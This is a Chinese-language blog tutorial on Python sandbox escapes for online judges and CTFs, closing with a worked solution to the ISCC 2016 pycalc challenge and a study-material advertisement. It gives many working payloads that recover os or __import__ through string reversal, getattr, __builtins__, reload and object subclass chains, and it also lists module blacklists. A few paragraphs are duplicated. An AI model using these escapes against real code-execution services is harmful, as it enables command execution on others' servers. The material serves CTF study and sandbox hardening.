讓用戶提交 Python 代碼並在服務器上執行,是一些 OJ、量化網站重要的服務,很多 CTF 也有類似的題。為了不讓惡意用戶執行任意的 Python 代碼,就需要確保 Python 運行在沙箱中。沙箱經常會禁用一些敏感的函數,例如 os,研究怎麼逃逸、防護這類沙箱還是蠻有意思的。
Python 的沙箱逃逸的最終目標就是執行系統任意命令,次一點的寫文件,再次一點的讀文件。
接下來的內容先講系統命令執行,再講文件寫入、讀取,並且均以 oj 為例,庫大多以 os 為例。
先啰嗦一些基礎知識
在 Python 中執行系統命令的方式有:
os
commands:僅限2.x
subprocess
timeit:timeit.sys、timeit.timeit(“import(‘os’).system(‘whoami’)”,
number=1)platform:platform.os、platform.sys、platform.popen(‘whoami’, mode=‘r’,
bufsize=-1).read()pty:pty.spawn(‘ls’)、pty.os
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys
…
我寫了一個腳本,測試了一下所有的導入 os 或者 sys 的庫:
#-*- coding:utf8 -*- # By Macr0phag3 # in 2019-05-07 19:46:12 # ------------------------------------ # this, antigravity 庫刪掉 all_modules_2 = [ 'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser', 'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha' ]all_modules_3 = [ 'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets', 'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize', '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi', 'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys', 'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os', 'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle', '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput', 'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited', '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq' ]methods = ['os', 'sys', '__builtins__']results = {
} for module in all_modules_3: results[module] = {
'flag': 0, 'result': {
} } try: m = __import__(module) attrs = dir(m) for method in methods: if method in attrs: result = 'yes' results[module]['flag'] = 1 else: result = 'no' results[module]['result'][method] = result except Exception as e: print(e) for result in results: if results[result]['flag']: print('[+]' + result) for r in results[result]['result']: print(' [-]' + r + ': ' + results[result]['result'][r])
all_modules_2就是 2.x 的標准庫,all_modules_3 就是 3.x 的標准庫。
結果相當多,這裡就不貼了。這裡注意一下,這個文件別命名為 test.py,如果命名為 test 會怎麼樣呢?可以先猜一猜,後面會給解釋。
如果 oj 支持 import 的話,這些庫都是高危的,放任不管基本上是坐等被日。所以為了避免過濾不完善導致各種問題,在 Python 沙箱套一層 docker 肯定不會是壞事。
首先,禁用 import os 肯定是不行的,因為
import os import os import os...
都可以。如果多個空格也過濾了,Python 能夠 import 的可不止 import,還有 import:import(‘os’),__import__被干了還有 importlib:importlib.import_module(‘os’).system(‘ls’)
這樣就安全了嗎?實際上import可以通過其他方式完成。回想一下 import 的原理,本質上就是執行一遍導入的庫。這個過程實際上可以用 execfile 來代替:
execfile('/usr/lib/python2.7/os.py') system('ls')
不過要注意,2.x 才能用,3.x 刪了 execfile,不過可以這樣:
with open('/usr/lib/python3.6/os.py','r') as f: exec(f.read()) system('ls')
這個方法倒是 2.x、3.x 通用的。
不過要使用上面的這兩種方法,就必須知道庫的路徑。其實在大多數的環境下,庫都是默認路徑。如果 sys 沒被干掉的話,還可以確認一下,:
import sysprint(sys.path)
代碼中要是出現 os,直接不讓運行。那麼可以利用字符串的各種變化來引入 os:
__import__('so'[::-1]).system('ls')
b = 'o' a = 's' __import__(a+b).system('ls')
還可以利用 eval 或者 exec:
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])macr0phag3 0 >>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])macr0phag3
順便說一下,eval、exec 都是相當危險的函數,exec 比 eval 還要危險,它們一定要過濾,因為字符串有很多變形的方式,對字符串的處理可以有:逆序、變量拼接、base64、hex、rot13…等等,太多了。。。
sys.modules 是一個字典,裡面儲存了加載過的模塊信息。如果 Python 是剛啟動的話,所列出的模塊就是解釋器在啟動時自動加載的模塊。有些庫例如 os 是默認被加載進來的,但是不能直接使用,原因在於 sys.modules 中未經 import 加載的模塊對當前空間是不可見的。
如果將 os 從 sys.modules 中剔除,os 就徹底沒法用了:
>>> sys.modules['os'] = 'not allowed' >>> import os >>> os.system('ls')Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: 'str' object has no attribute 'system' >>>
注意,這裡不能用 del sys.modules[‘os’],因為,當 import 一個模塊是:import A,檢查 sys.modules 中是否已經有 A,如果有則不加載,如果沒有則為 A 創建 module 對象,並加載 A。
所以刪了 sys.modules[‘os’] 只會讓 Python 重新加載一次 os。
看到這你肯定發現了,對於上面的過濾方式,繞過的方式可以是這樣:
sys.modules['os'] = 'not allowed' # oj 為你加的 del sys.modules['os'] import osos.system('ls')
最後還有一種利用 builtins 導入的方式,下面會詳細說。
通過上面內容我們很容易發現,光引入 os 只不過是第一步,如果把 system 這個函數干掉,也沒法通過os.system執行系統命令,並且這裡的system也不是字符串,也沒法直接做編碼等等操作。我遇到過一個環境,直接在/usr/lib/python2.7/os.py中刪了system函數。。。
不過,要明確的是,os 中能夠執行系統命令的函數有很多:
print(os.system('whoami')) print(os.popen('whoami').read()) print(os.popen2('whoami').read()) # 2.x print(os.popen3('whoami').read()) # 2.x print(os.popen4('whoami').read()) # 2.x ...
應該還有一些,可以在這裡找找:
2.x 傳送門
3.x 傳送門
過濾system的時候說不定還有其他函數給漏了。
其次,可以通過 getattr 拿到對象的方法、屬性:
import osgetattr(os, 'metsys'[::-1])('whoami')
不讓出現 import也沒事:
>>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')macr0phag3 0
一樣可以。這個方法同樣可以用於逃逸過濾 import 的沙箱。關於 builtins,見下文。
與 getattr 相似的還有 getattr、getattribute,它們自己的區別就是getattr相當於class.attr,都是獲取類屬性/方法的一種方式,在獲取的時候會觸發__getattribute__,如果__getattribute__找不到,則觸發__getattr__,還找不到則報錯。更具體的這裡就不解釋了,有興趣的話可以搜搜。
先說一下,builtin、builtins,__builtin__與__builtins__的區別:首先我們知道,在 Python 中,有很多函數不需要任何 import 就可以直接使用,例如chr、open。之所以可以這樣,是因為 Python 有個叫內建模塊(或者叫內建命名空間)的東西,它有一些常用函數,變量和類。順便說一下,Python 對函數、變量、類等等的查找方式是按 LEGB 規則來找的,其中 B 即代表內建模塊,這裡也不再贅述了,有興趣的搜搜就明白了。
在 2.x 版本中,內建模塊被命名為 builtin,到了 3.x 就成了 builtins。它們都需要 import 才能查看:
2.x:
>>> import __builtin__ >>> __builtin__ <module '__builtin__' (built-in)>
3.x:
>>> import builtins >>> builtins<module 'builtins' (built-in)>
但是,builtins 兩者都有,實際上是__builtin__和builtins 的引用。它不需要導入,我估計是為了統一 2.x 和 3.x。不過__builtins__與__builtin__和builtins是有一點區別的,感興趣的話建議查一下,這裡就不啰嗦了。不管怎麼樣,builtins 相對實用一點,並且在 __builtins__裡有很多好東西:
>>> '__import__' in dir(__builtins__)True>>> __builtins__.__dict__['__import__']('os').system('whoami')macr0phag30>>> 'eval' in dir(__builtins__)True>>> 'execfile' in dir(__builtins__)True
那麼既然__builtins__有這麼多危險的函數,不如將裡面的危險函數破壞了:
__builtins__.__dict__['eval'] = 'not allowed'
或者直接刪了:
del __builtins__.__dict__['eval']
但是我們可以利用 reload(builtins) 來恢復 builtins。不過,我們在使用 reload 的時候也沒導入,說明reload也在 __builtins__裡,那如果連reload都從__builtins__中刪了,就沒法恢復__builtins__了,需要另尋他法。還有一種情況是利用 exec command in _global 動態運行語句時的繞過,比如實現一個計算器的時候,在最後有給出例子。
這裡注意,2.x 的 reload 是內建的,3.x 需要 import imp,然後再 imp.reload。你看,reload 的參數是 module,所以肯定還能用於重新載入其他模塊,這個放在下面說。
在 Python 中提到繼承就不得不提 mro,mro就是方法解析順序,因為 Python 支持多重繼承,所以就必須有個方式判斷某個方法到底是 A 的還是 B 的。2.2 之前是經典類,搜索是深度優先;經典類後來發展為新式類,使用廣度優先搜索,再後來新式類的搜索變為 C3 算法;而 3.x 中新式類一統江湖,默認繼承 object,當然也是使用的 C3 搜索算法。。。扯遠了扯遠了,感興趣的可以搜搜。不管怎麼說,總是讓人去判斷繼承關系顯然是反人類的,所以 Python 中新式類都有個屬性,叫__mro__,是個元組,記錄了繼承關系:
>>> ''.__class__.__mro__ (<class 'str'>, <class 'object'>)
類的實例在獲取 class 屬性時會指向該實例對應的類。可以看到,''屬於 str類,它繼承了 object 類,這個類是所有類的超類。具有相同功能的還有__base__和__bases__。需要注意的是,經典類需要指明繼承 object 才會繼承它,否則是不會繼承的:
>>> class test: ... pass ... >>> test.__bases__ >>> class test(object): ... pass ... >>> test.__bases__(<type 'object'>,)
那麼知道這個有什麼用呢?
由於沒法直接引入 os,那麼假如有個庫叫oos,在oos中引入了os,那麼我們就可以通過__globals__拿到 os(__globals__是函數所在的全局命名空間中所定義的全局變量)。例如,site 這個庫就有 os:
>>> import site >>> site.os<module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'>
那麼知道這個有什麼用呢?
由於沒法直接引入 os,那麼假如有個庫叫oos,在oos中引入了os,那麼我們就可以通過__globals__拿到 os(__globals__是函數所在的全局命名空間中所定義的全局變量)。例如,site 這個庫就有 os:
>>> import site >>> site.os<module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'>
也就是說,能引入 site 的話,就相當於有 os。那如果 site 也被禁用了呢?沒事,本來也就沒打算直接 import site。可以利用 reload,變相加載 os:
>>> import site >>> osTraceback (most recent call last): File "<stdin>", line 1, in <module> NameError: name 'os' is not defined >>> os = reload(site.os) >>> os.system('whoami')macr0phag3 0
還有,既然所有的類都繼承的object,那麼我們先用__subclasses__看看它的子類,以 2.x 為例:
>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i...(0, <type 'type'>)(1, <type 'weakref'>)(2, <type 'weakcallableproxy'>)(3, <type 'weakproxy'>)(4, <type 'int'>)(5, <type 'basestring'>)(6, <type 'bytearray'>)(7, <type 'list'>)(8, <type 'NoneType'>)(9, <type 'NotImplementedType'>)(10, <type 'traceback'>)(11, <type 'super'>)(12, <type 'xrange'>)(13, <type 'dict'>)(14, <type 'set'>)(15, <type 'slice'>)(16, <type 'staticmethod'>)(17, <type 'complex'>)(18, <type 'float'>)(19, <type 'buffer'>)(20, <type 'long'>)(21, <type 'frozenset'>)(22, <type 'property'>)(23, <type 'memoryview'>)(24, <type 'tuple'>)(25, <type 'enumerate'>)(26, <type 'reversed'>)(27, <type 'code'>)(28, <type 'frame'>)(29, <type 'builtin_function_or_method'>)(30, <type 'instancemethod'>)(31, <type 'function'>)(32, <type 'classobj'>)(33, <type 'dictproxy'>)(34, <type 'generator'>)(35, <type 'getset_descriptor'>)(36, <type 'wrapper_descriptor'>)(37, <type 'instance'>)(38, <type 'ellipsis'>)(39, <type 'member_descriptor'>)(40, <type 'file'>)(41, <type 'PyCapsule'>)(42, <type 'cell'>)(43, <type 'callable-iterator'>)(44, <type 'iterator'>)(45, <type 'sys.long_info'>)(46, <type 'sys.float_info'>)(47, <type 'EncodingMap'>)(48, <type 'fieldnameiterator'>)(49, <type 'formatteriterator'>)(50, <type 'sys.version_info'>)(51, <type 'sys.flags'>)(52, <type 'exceptions.BaseException'>)(53, <type 'module'>)(54, <type 'imp.NullImporter'>)(55, <type 'zipimport.zipimporter'>)(56, <type 'posix.stat_result'>)(57, <type 'posix.statvfs_result'>)(58, <class 'warnings.WarningMessage'>)(59, <class 'warnings.catch_warnings'>)(60, <class '_weakrefset._IterationGuard'>)(61, <class '_weakrefset.WeakSet'>)(62, <class '_abcoll.Hashable'>)(63, <type 'classmethod'>)(64, <class '_abcoll.Iterable'>)(65, <class '_abcoll.Sized'>)(66, <class '_abcoll.Container'>)(67, <class '_abcoll.Callable'>)(68, <type 'dict_keys'>)(69, <type 'dict_items'>)(70, <type 'dict_values'>)(71, <class 'site._Printer'>)(72, <class 'site._Helper'>)(73, <type '_sre.SRE_Pattern'>)(74, <type '_sre.SRE_Match'>)(75, <type '_sre.SRE_Scanner'>)(76, <class 'site.Quitter'>)(77, <class 'codecs.IncrementalEncoder'>)(78, <class 'codecs.IncrementalDecoder'>)
可以看到,site 就在裡面,以 2.x 的site._Printer為例:
>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>
os 又回來了。並且 site 中還有 builtins。
這個方法不僅限於 A->os,還闊以是 A->B->os,比如 2.x 中的 warnings:
>>> import warnings >>> >>> warnings.osTraceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: 'module' object has no attribute 'os' >>> >>> warnings.linecache<module 'linecache' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/linecache.pyc'> >>>>>> warnings.linecache.os<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>
在繼承鏈中就可以這樣:
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')macr0phag30
順便說一下,warnings這個庫中有個函數:warnings.catch_warnings,它有個_module屬性:
def __init__(self, record=False, module=None): ... self._module = sys.modules['warnings'] if module is None else module...
所以通過_module也可以構造 payload:
>>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')macr0phag30
3.x 中的warnings雖然沒有 linecache,也有__builtins__。
同樣,py3.x 中有<class ‘os._wrap_close’>,利用方式可以為:
>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')macr0phag30
順便提一下,object 本來就是可以使用的,如果沒過濾這個變量的話,payload 可以簡化為:
object.__subclasses__()[117].__init__.__globals__['system']('whoami')
還有一種是利用
builtin_function_or_method 的 call:
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')
或者簡單一點:
[].__getattribute__('append').__class__.__call__(eval, '1+1')
還可以這樣利用:
class test(dict): def __init__(self): print(super(test, self).keys.__class__.__call__(eval, '1+1')) # 如果是 3.x 的話可以簡寫為: # super().keys.__class__.__call__(eval, '1+1')) test()
上面的這些利用方式總結起來就是通過__class__、mro、subclasses、__bases__等等屬性/方法去獲取 object,再根據__globals__找引入的__builtins__或者eval等等能夠直接被利用的庫,或者找到
builtin_function_or_method類/類型__call__後直接運行eval。
最後,繼承鏈的逃逸還有一些利用第三方庫的方式,比如 jinja2,這類利用方式應該是叫 SSTI,可以看這個:傳送門,這裡就不多說了。
2.x 有個內建的 file:
>>> file('key').read() 'Macr0phag3\n' >>> file('key', 'w').write('Macr0phag3') >>> file('key').read() 'Macr0phag3'
還有個 open,2.x 與 3.x 通用。
還有一些庫,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines。
為什麼說寫比讀危害大呢?因為如果能寫,可以將類似的文件保存為math.py,然後 import 進來:
math.py:
import osprint(os.system('whoami'))
調用
>>> import mathmacr0phag3 0
這裡需要注意的是,這裡 py 文件命名是有技巧的。之所以要挑一個常用的標准庫是因為過濾庫名可能采用的是白名單。並且之前說過有些庫是在sys.modules中有的,這些庫無法這樣利用,會直接從sys.modules中加入,比如re:
>>> 're' in sys.modules True >>> 'math' in sys.modules False >>>
當然在import re 之前del sys.modules[‘re’]也不是不可以…
最後,這裡的文件命名需要注意的地方和最開始的那個遍歷測試的文件一樣:由於待測試的庫中有個叫 test的,如果把遍歷測試的文件也命名為 test,會導致那個文件運行 2 次,因為自己 import 了自己。
讀文件暫時沒什麼發現特別的地方。
剩下的就是根據上面的執行系統命令采用的繞過方法去尋找 payload 了,比如:
>>> __builtins__.open('key').read() 'Macr0phag3\n'
或者
>>> ().__class__.__base__.__subclasses__()[40]('key').read()'Macr0phag3'
過濾[、]:這個行為不像是 oj 會做得出來的,ctf 倒是有可能出現。應對的方式就是將[]的功能用pop 、getitem 代替(實際上a[0]就是在內部調用了a.getitem(0) ):
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read() 'macr0phag3\n'
利用新特性:PEP 498 引入了 f-string,在 3.6 開始出現:傳送門,使用方式:傳送門。所以我們就有了一種船新的利用方式:
>>> f'{
__import__("os").system("whoami")}' macr0phag3 '0'
關注每次版本增加的新特性,或許能淘到點寶貝。
序列化相關:序列化也是能用來逃逸,但是關於序列化的安全問題還挺多的,如果有時間我再寫一篇文章來討論好了。
這個例子來自iscc 2016的Pwn300 pycalc,相當有趣:
#!/usr/bin/env python2 # -*- coding:utf-8 -*- def banner(): print "=============================================" print " Simple calculator implemented by python " print "=============================================" return def getexp(): return raw_input(">>> ") def _hook_import_(name, *args, **kwargs): module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi', 'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache', 'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip', 'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil', 'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools', 'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new', 'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib', 'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile', 'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer', 'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer', 'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2', 'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport'] for forbid in module_blacklist: if name == forbid: # don't let user import these modules raise RuntimeError('No you can\' import {0}!!!'.format(forbid)) # normal modules can be imported return __import__(name, *args, **kwargs) def sandbox_filter(command): blacklist = ['exec', 'sh', '__getitem__', '__setitem__', '=', 'open', 'read', 'sys', ';', 'os'] for forbid in blacklist: if forbid in command: return 0 return 1 def sandbox_exec(command): # sandbox user input result = 0 __sandboxed_builtins__ = dict(__builtins__.__dict__) __sandboxed_builtins__['__import__'] = _hook_import_ # hook import del __sandboxed_builtins__['open'] _global = {
'__builtins__': __sandboxed_builtins__ } if sandbox_filter(command) == 0: print 'Malicious user input detected!!!' exit(0) command = 'result = ' + command try: exec command in _global # do calculate in a sandboxed environment except Exception, e: print e return 0 result = _global['result'] # extract the result return resultbanner() while 1: command = getexp() print sandbox_exec(command)
exec command in _global 這一句就把很多 payload 干掉了,由於 exec 運行在自定義的全局命名空間裡,這時候會處於restricted execution mode,這裡不贅述了,感興趣可以看這篇文章:傳送門。exec 加上定制的 globals 會使得沙箱安全很多,一些常規的 payload 是沒法使用的,例如:
>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__ restricted attribute >>> getattr(getattr(__import__('types'), 'FileType')('key'), 're''ad')()file() constructor not accessible in restricted mode
不過也正是由於 exec 運行在特定的命名空間裡,可以通過其他命名空間裡的 builtins,比如 types 庫,來執行任意命令:
>>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')macr0phag3
學好 Python 不論是就業還是做副業賺錢都不錯,但要學會 Python 還是要有一個學習規劃。最後大家分享一份全套的 Python 學習資料,給那些想學習 Python 的小伙伴們一點幫助!
Python所有方向的技術點做的整理,形成各個領域的知識點匯總,它的用處就在於,你可以按照上面的知識點去找對應的學習資源,保證自己學得較為全面。
當我學到一定基礎,有自己的理解能力的時候,會去閱讀一些前輩整理的書籍或者手寫的筆記資料,這些筆記詳細記載了他們對一些技術點的理解,這些理解是比較獨到,可以學到不一樣的思路。
觀看零基礎學習視頻,看視頻學習是最快捷也是最有效果的方式,跟著視頻中老師的思路,從基礎到深入,還是很容易入門的。
光學理論是沒用的,要學會跟著一起敲,要動手實操,才能將自己的所學運用到實際當中去,這時候可以搞點實戰案例來學習。
檢查學習結果。
我們學習Python必然是為了找到高薪的工作,下面這些面試題是來自阿裡、騰訊、字節等一線互聯網大廠最新的面試資料,並且有阿裡大佬給出了權威的解答,刷完這一套面試資料相信大家都能找到滿意的工作。
保證100%免費
】Python資料、技術、課程、解答、咨詢也可以直接點擊下面名片,
添加官方客服斯琪
↓